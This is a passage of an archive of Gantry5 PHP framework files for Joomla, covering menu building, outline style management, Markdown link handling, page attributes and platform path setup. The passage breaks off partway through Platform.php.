        // Handle URIs.
        if (strpos($url, '://')) {
            if ($locator->isStream($url)) {
                // File is a stream, include it to files list.
                list ($stream, $path) = explode('://', $url);
                $this->files[$stream][$path] = $url;
            }

            return $url;
        }

        // Try to convert local paths to streams.
        $paths = $locator->getPaths();

        $found = false;
        $stream = $path = '';
        foreach ($paths as $stream => $prefixes) {
            foreach ($prefixes as $prefix => $paths) {
                foreach ($paths as $path) {
                    if (is_string($path) && strpos($url, $path) ===
0) {
                        $path = ($prefix ? "{$prefix}/" :
'') . substr($url, strlen($path) + 1);
                        $found = true;
                        break 3;
                    }
                }
            }
        }

        if ($found) {
            $url = "{$stream}://{$path}";
            $this->files[$stream][$path] = $url;
        }

        return $url;
    }

    /**
     * @param array $matches
     * @return string
     * @internal
     */
    public function linkHandler(array $matches)
    {
        $url = $this->url(trim($matches[3]));

        return "{$matches[1]}{$matches[2]}=\"{$url}\"";
    }

    /**
     * @param array $matches
     * @return string
     * @internal
     */
    public function urlHandler(array $matches)
    {
        $url = $this->url(trim($matches[2], '"\''));

        return "{$matches[1]}url({$url})";
    }

    protected function moduleMod_Custom(array $data)
    {
        // Convert to particle...
        $data['type'] = 'particle';
        $data['joomla'] = $data['options'];
        $data['options'] = [
            'type' => 'custom',
            'attributes' => [
                'enabled' =>
$data['joomla']['published'],
                'html' =>
$this->urlFilter($data['joomla']['content']),
                'filter' =>
$data['joomla']['params']['prepare_content']
            ]
        ];

        unset($data['joomla']['content'],
$data['joomla']['params']['prepare_content']);

        return $data;
    }
}
Gantry/Framework/Gantry.php000064400000002733151157471010011731
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

class Gantry extends Base\Gantry
{
    /**
     * @return boolean
     */
    public function debug()
    {
        return JDEBUG;
    }

    /**
     * @return boolean
     */
    public function admin()
    {
        return \JFactory::getApplication()->isAdmin();
    }

    /**
     * @param string $location
     * @param bool   $force
     * @return array
     */
    public function styles($location = 'head', $force = false)
    {
        // Do not display head, Joomla will take care of it (most of the
time).
        return (!$force && $location == 'head') ? [] :
parent::styles($location);
    }

    /**
     * @param string $location
     * @param bool $force
     * @return array
     */
    public function scripts($location = 'head', $force = false)
    {
        // Do not display head, Joomla will take care of it (most of the
time).
        return (!$force && $location == 'head') ? [] :
parent::scripts($location);
    }

    /**
     * @return array
     */
    protected function loadGlobal()
    {
        $global = null;

        // Trigger the event.
        $dispatcher = \JEventDispatcher::getInstance();
        $dispatcher->trigger('onGantryGlobalConfig',
['global' => &$global]);

        return $global;
    }
}
Gantry/Framework/Markdown/Parsedown.php000064400000001227151157471010014206
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Markdown;

class Parsedown extends \Parsedown
{
    use ParsedownTrait;

    /**
     * Parsedown constructor.
     *
     * @param array $defaults
     */
    public function __construct(array $defaults = null)
    {
        $this->init($defaults ?: []);
    }

}
Gantry/Framework/Markdown/ParsedownExtra.php000064400000001337151157471010015214
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Markdown;

class ParsedownExtra extends \ParsedownExtra
{
    use ParsedownTrait;

    /**
     * ParsedownExtra constructor.
     *
     * @param array $defaults
     * @throws \Exception
     */
    public function __construct(array $defaults = null)
    {
        parent::__construct();

        $this->init($defaults ?: []);
    }
}
Gantry/Framework/Markdown/ParsedownTrait.php000064400000010342151157471010015210
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Markdown;

use Gantry\Framework\Gantry;

trait ParsedownTrait
{
    protected $special_chars;
    protected $twig_link_regex =
'/\!*\[(?:.*)\]\((\{([\{%#])\s*(.*?)\s*(?:\2|\})\})\)/';

    /**
     * Initialization function to setup key variables needed by the
MarkdownGravLinkTrait
     *
     * @param $defaults
     */
    protected function init(array $defaults)
    {
        $defaults += [
            'auto_line_breaks' => false,
            'auto_url_links' => false,
            'escape_markup' => false,
            'special_chars' => false
        ];

        $this->BlockTypes['{'][] = 'TwigTag';
        $this->special_chars = ['>' => 'gt',
'<' => 'lt', '"' =>
'quot'];

       
$this->setBreaksEnabled($defaults['auto_line_breaks']);
        $this->setUrlsLinked($defaults['auto_url_links']);
        $this->setMarkupEscaped($defaults['escape_markup']);
        $this->setSpecialChars($defaults['special_chars']);
    }

    /**
     * Setter for special chars
     *
     * @param $special_chars
     *
     * @return $this
     */
    public function setSpecialChars($special_chars)
    {
        $this->special_chars = $special_chars;

        return $this;
    }

    /**
     * Ensure Twig tags are treated as block level items with no
<p></p> tags
     *
     * @param array $line
     * @return array|null
     */
    protected function blockTwigTag($line)
    {
        if (preg_match('/(?:{{|{%|{#)(.*)(?:}}|%}|#})/',
$line['body'], $matches)) {
            return ['markup' => $line['body']];
        }

        return null;
    }

    protected function inlineSpecialCharacter($excerpt)
    {
        if ($excerpt['text'][0] === '&' &&
!preg_match('/^&#?\w+;/', $excerpt['text'])) {
            return [
                'markup' => '&amp;',
                'extent' => 1,
            ];
        }

        if (isset($this->special_chars[$excerpt['text'][0]]))
{
            return [
                'markup' => '&' .
$this->special_chars[$excerpt['text'][0]] . ';',
                'extent' => 1,
            ];
        }

        return null;
    }

    protected function inlineImage($excerpt)
    {
        if (preg_match($this->twig_link_regex,
$excerpt['text'], $matches)) {
            $excerpt['text'] = str_replace($matches[1],
'/', $excerpt['text']);
            $excerpt = parent::inlineImage($excerpt);
           
$excerpt['element']['attributes']['src'] =
$matches[1];
            $excerpt['extent'] = $excerpt['extent'] +
\strlen($matches[1]) - 1;

            return $excerpt;
        }

        $excerpt['type'] = 'image';
        $excerpt = parent::inlineImage($excerpt);

        // if this is an image process it
        if
(isset($excerpt['element']['attributes']['src']))
{
            $gantry = Gantry::instance();

           
$excerpt['element']['attributes']['src'] =
$gantry['document']->url($excerpt['element']['attributes']['src']);
        }

        return $excerpt;
    }

    protected function inlineLink($excerpt)
    {
        if (!isset($excerpt['type'])) {
            $excerpt['type'] = 'link';
        }

        // do some trickery to get around Parsedown requirement for valid
URL if its Twig in there
        if (preg_match($this->twig_link_regex,
$excerpt['text'], $matches)) {
            $excerpt['text'] = str_replace($matches[1],
'/', $excerpt['text']);
            $excerpt = parent::inlineLink($excerpt);
           
$excerpt['element']['attributes']['href'] =
$matches[1];
            $excerpt['extent'] = $excerpt['extent'] +
\strlen($matches[1]) - 1;

            return $excerpt;
        }

        $excerpt = parent::inlineLink($excerpt);

        // if this is a link
        if
(isset($excerpt['element']['attributes']['href']))
{
            $gantry = Gantry::instance();

           
$excerpt['element']['attributes']['href'] =
$gantry['document']->url($excerpt['element']['attributes']['href']);
        }

        return $excerpt;
    }
}
Gantry/Framework/Menu.php000064400000031100151157471010011357
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Component\Config\Config;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Menu\AbstractMenu;
use Gantry\Component\Menu\Item;

class Menu extends AbstractMenu
{
    use GantryTrait;

    /**
     * @var \JApplicationCms
     */
    protected $app;

    /**
     * @var \JMenu
     */
    protected $menu;

    public function __construct()
    {
        $this->app = \JApplicationCms::getInstance('site');

        $lang = \JFactory::getLanguage();
        $tag = \JLanguageMultilang::isEnabled() ? $lang->getTag() :
'*';

        $this->menu = $this->app->getMenu();
        $this->default = $this->menu->getDefault($tag);
        $this->active  = $this->menu->getActive();
    }

    public function init(&$params)
    {
        parent::init($params);

        if (!empty($params['admin'])) {
            /** @var \JTableMenuType $table */
            $menuType = \JTable::getInstance('MenuType');
            $menuType->load(['menutype' =>
$params['menu']]);

            $config = $this->config();
            $config->set('settings.title',
$menuType->title);
            $config->set('settings.description',
$menuType->description);
        }
    }

    /**
     * Return list of menus.
     *
     * @return array
     * @throws \RuntimeException
     */
    public function getMenus()
    {
        static $items;

        if ($items === null) {
            require_once JPATH_ADMINISTRATOR .
'/components/com_menus/helpers/menus.php';
            $items = (array) \MenusHelper::getMenuTypes();
        }

        return $items;
    }

    public function getGroupedItems()
    {
        $groups = array();

        // Get the menu items.
        $items = \MenusHelper::getMenuLinks();

        // Build the groups arrays.
        foreach ($items as $item) {
            // Initialize the group.
            $groups[$item->menutype] = [];

            // Build the options array.
            foreach ($item->links as $link) {
                $groups[$item->menutype][$link->value] = [
                    'spacing' => str_repeat('&nbsp;
', max(0, $link->level-1)),
                    'label' => $link->text
                ];
            }
        }

        return $groups;
    }

    /**
     * Return default menu.
     *
     * @return string|null
     */
    public function getDefaultMenuName()
    {
        return $this->default ? $this->default->menutype : null;
    }

    /**
     * Returns true if the platform implements a Default menu.
     *
     * @return boolean
     */
    public function hasDefaultMenu()
    {
        return true;
    }

    /**
     * Return active menu.
     *
     * @return string|null
     */
    public function getActiveMenuName()
    {
        return $this->active ? $this->active->menutype : null;
    }

    /**
     * Returns true if the platform implements an Active menu.
     *
     * @return boolean
     */
    public function hasActiveMenu()
    {
        return true;
    }

    /**
     * @return string|null
     */
    public function getCacheId()
    {
        if (!\JFactory::getUser()->guest) {
            return null;
        }

        return $this->active ? $this->active->id : 0;
    }

    public function isActive($item)
    {
        $tree = $this->base->tree;

        if (in_array($item->id, $tree)) {
            return true;
        } elseif ($item->type == 'alias') {
            $aliasToId = $item->link_id;

            if (count($tree) > 0 && $aliasToId ==
$tree[count($tree) - 1]) {
                return (bool) $this->params['highlightAlias'];
            } elseif (in_array($aliasToId, $tree)) {
                return (bool)
$this->params['highlightParentAlias'];
            }
        }

        return false;
    }

    public function isCurrent($item)
    {
        return $item->id == $this->active->id
        || ($item->type == 'alias' &&
$item->params->get('aliasoptions') ==
$this->active->id);
    }

    /**
     * Get menu items from the platform.
     *
     * @param array $params
     * @return array    List of routes to the pages.
     */
    protected function getItemsFromPlatform($params)
    {
        $attributes = ['menutype'];
        $values = [$params['menu']];

        // Items are already filtered by access and language, in admin we
need to work around that.
        if (\JFactory::getApplication()->isAdmin()) {
            $attributes[] = 'access';
            $values[] = null;

            $attributes[] = 'language';
            $values[] = null;
        }

        return $this->menu->getItems($attributes, $values);
    }

    /**
     * Get base menu item.
     *
     * If itemid is not specified or does not exist, return active menu
item.
     * If there is no active menu item, fall back to home page for the
current language.
     * If there is no home page, return null.
     *
     * @param   int  $itemid
     *
     * @return  object|null
     */
    protected function calcBase($itemid = null)
    {
        $menu = $this->app->getMenu();

        // Get base menu item.
        $base = $itemid ? $menu->getItem($itemid) : null;

        if (!$base) {
            // Use active menu item or fall back to default menu item.
            $base = $this->active ?: $this->default;
        }

        // Return base menu item.
        return $base;
    }

    /**
     * Get a list of the menu items.
     *
     * Logic was originally copied from Joomla 3.4 mod_menu/helper.php
(joomla-cms/staging, 2014-11-12).
     * We should keep the contents of the function similar to Joomla in
order to review it against any changes.
     *
     * @param  array  $params
     * @param  array  $items
     */
    public function getList(array $params, array $items)
    {
        // Get base menu item for this menu (defaults to active menu item).
        $this->base = $this->calcBase($params['base']);

        // Make sure that the menu item exists.
        if (!$this->base &&
!\JFactory::getApplication()->isAdmin()) {
            return;
        }

        $levels = \JFactory::getUser()->getAuthorisedViewLevels();
        asort($levels);

        // FIXME: need to create collection class to gather the sibling
data, otherwise caching cannot work.
        //$key = 'gantry_menu_items.' . json_encode($params) .
'.' . json_encode($levels) . '.' .
$this->base->id;
        //$cache = \JFactory::getCache('mod_menu', '');
        //try {
        //    $this->items = $cache->get($key);
        //} catch (\Exception $e) {
        //    $this->items = false;
        //}

        if (1) {
            $tree    = isset($this->base->tree) ?
$this->base->tree : [];
            $start   = $params['startLevel'];
            $max     = $params['maxLevels'];
            $end     = $max ? $start + $max - 1 : 0;

            $menuItems = $this->getItemsFromPlatform($params);

            $itemMap = [];
            foreach ($items as $path => &$itemRef) {
                if (isset($itemRef['id']) &&
is_numeric($itemRef['id'])) {
                    $itemRef['path'] = $path;
                    $itemMap[$itemRef['id']] = &$itemRef;
                }
            }

            foreach ($menuItems as $menuItem) {
                if (($start && $start > $menuItem->level)
                    || ($end && $menuItem->level > $end)
                    || ($start > 1 &&
!in_array($menuItem->tree[$start - 2], $tree))) {
                    continue;
                }

                // These params always come from Joomla and cannot be
overridden.
                $itemParams = [
                    'id' => $menuItem->id,
                    'type' => $menuItem->type,
                    'alias' => $menuItem->alias,
                    'path' => $menuItem->route,
                    'link' => $menuItem->link,
                    'link_title' =>
$menuItem->params->get('menu-anchor_title', ''),
                    'rel' =>
$menuItem->params->get('menu-anchor_rel', ''),
                    'enabled' => (bool)
$menuItem->params->get('menu_show', 1),
                ];

                // Rest of the items will come from saved configuration.
                if (isset($itemMap[$menuItem->id])) {
                    // ID found, use it.
                    $itemParams += $itemMap[$menuItem->id];

                    // Store new path for the menu item into path map.
                    if ($itemParams['path'] !==
$itemMap[$menuItem->id]['path']) {
                        if (!$this->pathMap) {
                            $this->pathMap = new Config([]);
                        }
                       
$this->pathMap->set(preg_replace('|/|u',
'/children/', $itemMap[$menuItem->id]['path']) .
'/path', $itemParams['path'], '/');
                    }
                } elseif (isset($items[$menuItem->route])) {
                    // ID not found, try to use route.
                    $itemParams += $items[$menuItem->route];
                }

                // Get default target from Joomla.
                switch ($menuItem->browserNav)
                {
                    default:
                    case 0:
                        // Target window: Parent.
                        $target = '_self';
                        break;
                    case 1:
                    case 2:
                        // Target window: New with navigation.
                        $target = '_blank';
                        break;
                }

                // And if not available in configuration, default to
Joomla.
                $itemParams += [
                    'title' => $menuItem->title,
                    'anchor_class' =>
$menuItem->params->get('menu-anchor_css', ''),
                    'image' =>
$menuItem->params->get('menu_image', ''),
                    'icon_only' =>
!$menuItem->params->get('menu_text', 1),
                    'target' => $target
                ];

                $item = new Item($this, $menuItem->route, $itemParams);
                $this->add($item);

                $link  = $item->link;

                switch ($item->type) {
                    case 'separator':
                    case 'heading':
                        // These types have no link.
                        $link = null;
                        break;

                    case 'url':
                        if ((strpos($item->link, 'index.php?')
=== 0) && (strpos($item->link, 'Itemid=') === false))
{
                            // If this is an internal Joomla link, ensure
the Itemid is set.
                            $link = $item->link .
'&Itemid=' . $item->id;
                        }
                        break;

                    case 'alias':
                        // If this is an alias use the item id stored in
the parameters to make the link.
                        $link = 'index.php?Itemid=' .
$menuItem->params->get('aliasoptions', 0);
                        break;

                    default:
                        $app = $this->app;
                        $router = $app::getRouter();

                        if ($router->getMode() == JROUTER_MODE_SEF) {
                            $link = 'index.php?Itemid=' .
$item->id;

                            if
(isset($menuItem->query['format']) &&
$app->get('sef_suffix')) {
                                $link .= '&format=' .
$menuItem->query['format'];
                            }
                        } else {
                            $link .= '&Itemid=' .
$item->id;
                        }
                        break;
                }

                if (!$link) {
                    $item->url(false);
                } elseif (strcasecmp(substr($link, 0, 4), 'http')
&& (strpos($link, 'index.php?') !== false)) {
                    $item->url(\JRoute::_($link, false,
$menuItem->params->get('secure')));
                } else {
                    $item->url(\JRoute::_($link, false));
                }

                if ($item->type == 'url') {
                    // Moved from modules/mod_menu/tmpl/default_url.php,
not sure why Joomla had application logic in there.
                    // Keep compatibility to Joomla menu module, but we
need non-encoded version of the url.
                    $item->url(
                       
htmlspecialchars_decode(\JFilterOutput::ampReplace(htmlspecialchars($item->link,
ENT_COMPAT|ENT_SUBSTITUTE, 'UTF-8')))
                    );
                }
            }

            // FIXME: need to create collection class to gather the sibling
data, otherwise caching cannot work.
            // $cache->store($this->items, $key);
        }
    }
}
Gantry/Framework/Outlines.php000064400000020730151157471010012264
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Admin\ThemeList;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Outline\OutlineCollection;
use Gantry\Joomla\StyleHelper;
use Gantry\Joomla\TemplateInstaller;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Outlines extends OutlineCollection
{
    protected $createId;

    public function preset($id)
    {
        if (is_numeric($id)) {
            $style = StyleHelper::getStyle($id);
            $params = json_decode($style->params, true);

            $id = isset($params['preset']) ?
$params['preset'] : 'default';
        }

        return $id;
    }

    public function current($template = null)
    {
        if (!is_object($template)) {
            // Get the template style.
            $template = \JFactory::getApplication()->getTemplate(true);
        }

        $preset = $template->params->get('preset',
'default');
        $outline = $template->params->get('configuration',
!empty($template->id) ? $template->id : null);

        GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage('Template Style:') &&
\Gantry\Debugger::addMessage($template);

        if (JDEBUG && !$outline) {
            static $shown = false;

            if (!$shown) {
                $shown = true;
               
\JFactory::getApplication()->enqueueMessage('[DEBUG]
JApplicationSite::getTemplate() was overridden with no specified Gantry 5
outline.', 'notice');
            }
        }

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        return ($outline &&
is_dir($locator("{$this->path}/{$outline}"))) ? $outline :
$preset;
    }

    /**
     * @param string $path
     * @return $this
     */
    public function load($path = 'gantry-config://')
    {
        $this->path = $path;

        $gantry = $this->container;

        $theme = isset($gantry['theme.name']) ?
$gantry['theme.name'] : null;

        $styles = ThemeList::getStyles($theme);

        $installer = new
TemplateInstaller($this->container['theme.name']);
        $title = $installer->getStyleName('%s - ');

        $outlines = [];
        foreach ($styles as $style) {
            $preset = isset($style->params['preset']) ?
$style->params['preset'] : null;
            $outline = isset($style->params['configuration'])
? $style->params['configuration'] : $preset;

            if ($outline && $outline != $style->id) {
                // New style generated by Joomla.
                StyleHelper::copy($style, $outline, $style->id);
            }
            $outlines[$style->id] = preg_replace('|^' .
preg_quote($title) . '|', '', $style->style);
        }

        asort($outlines);

        $this->items = $this->addDefaults($outlines);

        return $this;
    }

    /**
     * @param string|null $id
     * @param string $title
     * @param string|array $preset
     * @return string
     * @throws \RuntimeException
     */
    public function create($id, $title = null, $preset = null)
    {
        if ($this->createId) {
            // Workaround Joomla wanting to use different logic for style
duplication.
            $new = parent::create($this->createId, $title, $preset);

            $this->createId = null;

            return $new;
        }

        $title = $title ? "%s - {$title}" : '%s -
Untitled';

        $installer = new
TemplateInstaller($this->container['theme.name']);
        $title = $installer->getStyleName($title);
        $style = $installer->addStyle($title);

        $error = $style->getError();

        if ($error) {
            throw new \RuntimeException($error, 400);
        }

        $presetId = (string)
(isset($preset['preset']['name']) ?
$preset['preset']['name'] : ($preset ?:
'default'));

        StyleHelper::update($style->id, $presetId);

        // Create configuration folder.
        $id = parent::create($style->id, $title, $preset);

        if ($id != $style->id) {
            throw new \RuntimeException(sprintf("Creating outline:
folder '%s' already exists!", $style->id));
        }

        return $style->id;
    }

    public function duplicate($id, $title = null, $inherit = false)
    {
        if (!$this->canDuplicate($id)) {
            throw new \RuntimeException("Outline '$id'
cannot be duplicated", 400);
        }

        // Handle special case of duplicating system outlines.
        if ((string)(int) $id !== (string) $id) {
            return parent::duplicate($id, $title, $inherit);
        }

        // Use Joomla logic to duplicate the style.
        $model = StyleHelper::loadModel();
        $pks = [$id];

        if (!$model->duplicate($pks)) {
            throw new \RuntimeException($model->getError(), 400);
        }

        // Seek the newly generated style ID since Joomla doesn't
return one on duplication.
        $theme = $this->container['theme.name'];
        $styles = ThemeList::getStyles($theme, true);
        $style = end($styles);

        if ($title) {
            // Change the title.
            $installer = new TemplateInstaller($theme);
            $title = $installer->getStyleName("%s -
{$title}");
            $this->rename($style->id, $title);
        } else {
            $title = $style->style;
        }

        $this->createId = $style->id;

        return parent::duplicate($id, $title, $inherit);
    }

    public function rename($id, $title)
    {
        $model = StyleHelper::loadModel();

        $item = $model->getTable();
        $item->load($id);

        if (!$item->id) {
            throw new \RuntimeException('Outline not found',
404);
        }

        $theme = $this->container['theme.name'];
        $installer = new TemplateInstaller($theme);

        $title = $title ? "%s - {$title}" : '%s -
Untitled';
        $title = $installer->getStyleName($title);

        $item->title = $title;

        if (!$item->check()) {
            throw new \RuntimeException($item->getError(), 400);
        }

        if (!$item->store()) {
            throw new \RuntimeException($item->getError(), 500);
        }

        if (isset($this->items[$id])) {
            $this->items[$id] = $title;
        }

        return $id;
    }

    public function delete($id, $deleteModel = true)
    {
        if (!$this->canDelete($id)) {
            throw new \RuntimeException("Outline '$id'
cannot be deleted", 400);
        }

        $model = StyleHelper::loadModel();

        $item = $model->getTable();
        $item->load($id);

        try {
            foreach ($this->getInheritingOutlines($id) as $outline =>
$title) {
               
$this->layout($outline)->updateInheritance($id)->save()->saveIndex();
            }
            foreach ($this->getInheritingOutlinesWithAtom($id) as
$outline => $title) {
               
Atoms::instance($outline)->updateInheritance($id)->save();
            }

            if ($deleteModel && !$model->delete($id)) {
                $error = $model->getError();
                // Well, Joomla can always send enqueue message instead!
                if (!$error) {
                    $messages =
\JFactory::getApplication()->getMessageQueue();
                    $message = reset($messages);
                    $error = $message ? $message['message'] :
'Unknown error';
                }
                throw new \RuntimeException($error);
            }
        } catch (\Exception $e) {
            throw new \RuntimeException('Deleting outline failed:
' . $e->getMessage(), 400, $e);
        }

        // Remove configuration directory.
        $gantry = $this->container;

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];
        $path =
$locator->findResource("{$this->path}/{$item->id}",
true, true);
        if ($path) {
            if (file_exists($path)) {
                Folder::delete($path);
            }
        }

        unset($this->items[$item->id]);
    }

    /**
     * @param string $id
     * @return boolean
     */
    public function canDelete($id)
    {
        $model = StyleHelper::loadModel();

        $item = $model->getTable();
        $item->load($id);

        return !$item->id || $item->home ? false : true;
    }

    /**
     * @param string $id
     * @return boolean
     */
    public function isDefault($id)
    {
        $model = StyleHelper::loadModel();

        $item = $model->getTable();
        $item->load($id);

        return (bool) $item->home;
    }
}
Gantry/Framework/Page.php000064400000007214151157471010011340
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

class Page extends Base\Page
{
    public $home;
    public $outline;
    public $language;
    public $direction;

    // Joomla specific properties.
    public $theme;
    public $baseUrl;
    public $title;
    public $description;

    public function __construct($container)
    {
        parent::__construct($container);

        $app = \JFactory::getApplication();
        $document = \JFactory::getDocument();
        $input = $app->input;

        $this->tmpl     = $input->getCmd('tmpl',
'');
        $this->option   = $input->getCmd('option',
'');
        $this->view     = $input->getCmd('view',
'');
        $this->layout   = $input->getCmd('layout',
'');
        $this->task     = $input->getCmd('task',
'');
        $this->itemid   = $input->getInt('Itemid', 0);
        $this->printing = $input->getCmd('print',
'');

        $this->class = '';
        if ($this->itemid) {
            $menuItem = $app->getMenu()->getActive();
            if ($menuItem && $menuItem->id) {
                $this->home = (bool) $menuItem->home;
                $this->class =
$menuItem->params->get('pageclass_sfx', '');
            }
        }
        $templateParams = $app->getTemplate(true);
        $this->outline = Gantry::instance()['configuration'];
        $this->sitename = $app->get('sitename');
        $this->theme = $templateParams->template;
        $this->baseUrl = \JUri::base(true);
        $this->title = $document->title;
        $this->description = $document->description;

        // Document has lower case language code, which causes issues with
some JS scripts (Snipcart). Use tag instead.
        $code = explode('-', $document->getLanguage(), 2);
        $language =  array_shift($code);
        $country = strtoupper(array_shift($code));
        $this->language = $language . ($country ? '-' .
$country : '');
        $this->direction = $document->direction;
    }

    public function url(array $args = [])
    {
        $url = \JUri::getInstance();

        foreach ($args as $key => $val) {
            $url->setVar($key, $val);
        }

        return $url->toString();
    }

    public function htmlAttributes()
    {
        $attributes = [
                'lang' => $this->language,
                'dir' => $this->direction
            ]
            + (array) $this->config->get('page.html', []);

        return $this->getAttributes($attributes);
    }

    public function bodyAttributes($attributes = [])
    {
        if ($this->tmpl == 'component') {
            $classes = ['contentpane', 'modal'];
        } else {
            $classes = ['site', $this->option,
"view-{$this->view}"];
            $classes[] = $this->layout ? 'layout-' .
$this->layout : 'no-layout';
            $classes[] = $this->task ? 'task-' .
$this->task : 'no-task';
        }
        $classes[] = 'dir-' . $this->direction;
        if ($this->class) $classes[] = $this->class;
        if ($this->printing) $classes[] = 'print-mode';
        if ($this->itemid) $classes[] = 'itemid-' .
$this->itemid;
        if ($this->outline) $classes[] = 'outline-' .
$this->outline;

        $baseAttributes = (array)
$this->config->get('page.body.attribs', []);
        if (!empty($baseAttributes['class'])) {
            $baseAttributes['class'] = array_merge((array)
$baseAttributes['class'], $classes);
        } else {
            $baseAttributes['class'] = $classes;
        }

        return $this->getAttributes($baseAttributes, $attributes);
    }
}
Gantry/Framework/Platform.php000064400000041205151157471010012246
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Admin\ThemeList;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Base\Platform as BasePlatform;
use Gantry\Joomla\Category\CategoryFinder;
use Gantry\Joomla\Content\Content;
use Gantry\Joomla\Content\ContentFinder;

/**
 * The Platform Configuration class contains configuration information.
 *
 * @author RocketTheme
 * @license MIT
 */

class Platform extends BasePlatform
{
    public $no_base_layout = false;
    public $module_wrapper = '<div
class="platform-content">%s</div>';
    public $component_wrapper = '<div class="platform-content
row-fluid"><div
class="span12">%s</div></div>';

    protected $name = 'joomla';
    protected $features = ['modules' => true];
    protected $settings_key = 'return';
    protected $modules;


    public function setModuleWrapper($html)
    {
        $this->module_wrapper = $html;
    }

    public function setComponentWrapper($html)
    {
        $this->component_wrapper = $html;
    }

    public function init()
    {
        // Support linked sample data.
        $theme = isset($this->container['theme.name']) ?
$this->container['theme.name'] : null;
        if ($theme && is_dir(JPATH_ROOT .
"/media/gantry5/themes/{$theme}/media-shared")) {
            $custom = JPATH_ROOT .
"/media/gantry5/themes/{$theme}/custom";
            if (!is_dir($custom)) {
                // First run -- copy configuration into a single location.
                $shared = JPATH_ROOT .
"/media/gantry5/themes/{$theme}/template-shared";
                $demo = JPATH_ROOT .
"/media/gantry5/themes/{$theme}/template-demo";

                try {
                    Folder::create($custom);
                } catch (\Exception $e) {
                    throw new \RuntimeException(sprintf("Failed to
create folder '%s'.", $custom), 500, $e);
                }

                if (is_dir("{$shared}/custom/config")) {
                    Folder::copy("{$shared}/custom/config",
"{$custom}/config");
                }
                if (is_dir("{$demo}/custom/config")) {
                    Folder::copy("{$demo}/custom/config",
"{$custom}/config");
                }
            }
           
array_unshift($this->items['streams']['gantry-theme']['prefixes'][''],
"media/gantry5/themes/{$theme}/template-shared");
           
array_unshift($this->items['streams']['gantry-theme']['prefixes'][''],
"media/gantry5/themes/{$theme}/template-demo");
           
array_unshift($this->items['streams']['gantry-theme']['prefixes'][''],
"media/gantry5/themes/{$theme}/custom");
        }

        return parent::init();
    }

    public function getCachePath()
    {
        $path = \JFactory::getConfig()->get('cache_path',
JPATH_SITE . '/cache');
        if (!is_dir($path)) {
            throw new \RuntimeException('Joomla cache path does not
exist!');
        }

        return $path . '/gantry5';
    }

    public function getThemesPaths()
    {
        return ['' => ['templates']];
    }

    public function getMediaPaths()
    {
        $paths = ['images'];

        // Support linked sample data.
        $theme = isset($this->container['theme.name']) ?
$this->container['theme.name'] : null;
        if ($theme && is_dir(JPATH_ROOT .
"/media/gantry5/themes/{$theme}/media-shared")) {
            array_unshift($paths,
"media/gantry5/themes/{$theme}/media-shared");
            array_unshift($paths,
"media/gantry5/themes/{$theme}/media-demo");
        }

        if
($this->container['global']->get('use_media_folder',
false)) {
            array_push($paths, 'gantry-theme://images');
        } else {
            array_unshift($paths, 'gantry-theme://images');
        }

        return ['' => $paths];
    }

    public function getEnginesPaths()
    {
        if (is_link(GANTRY5_ROOT . '/media/gantry5/engines')) {
            // Development environment.
            return ['' =>
["media/gantry5/engines/{$this->name}",
'media/gantry5/engines/common']];
        }
        return ['' => ['media/gantry5/engines']];
    }

    public function getAssetsPaths()
    {
        if (is_link(GANTRY5_ROOT . '/media/gantry5/assets')) {
            // Development environment.
            return ['' => ['gantry-theme://',
"media/gantry5/assets/{$this->name}",
'media/gantry5/assets/common']];
        }

        return ['' => ['gantry-theme://',
'media/gantry5/assets']];
    }

    /**
     * Get preview url for individual theme.
     *
     * @param string $theme
     * @return string
     */
    public function getThemePreviewUrl($theme)
    {
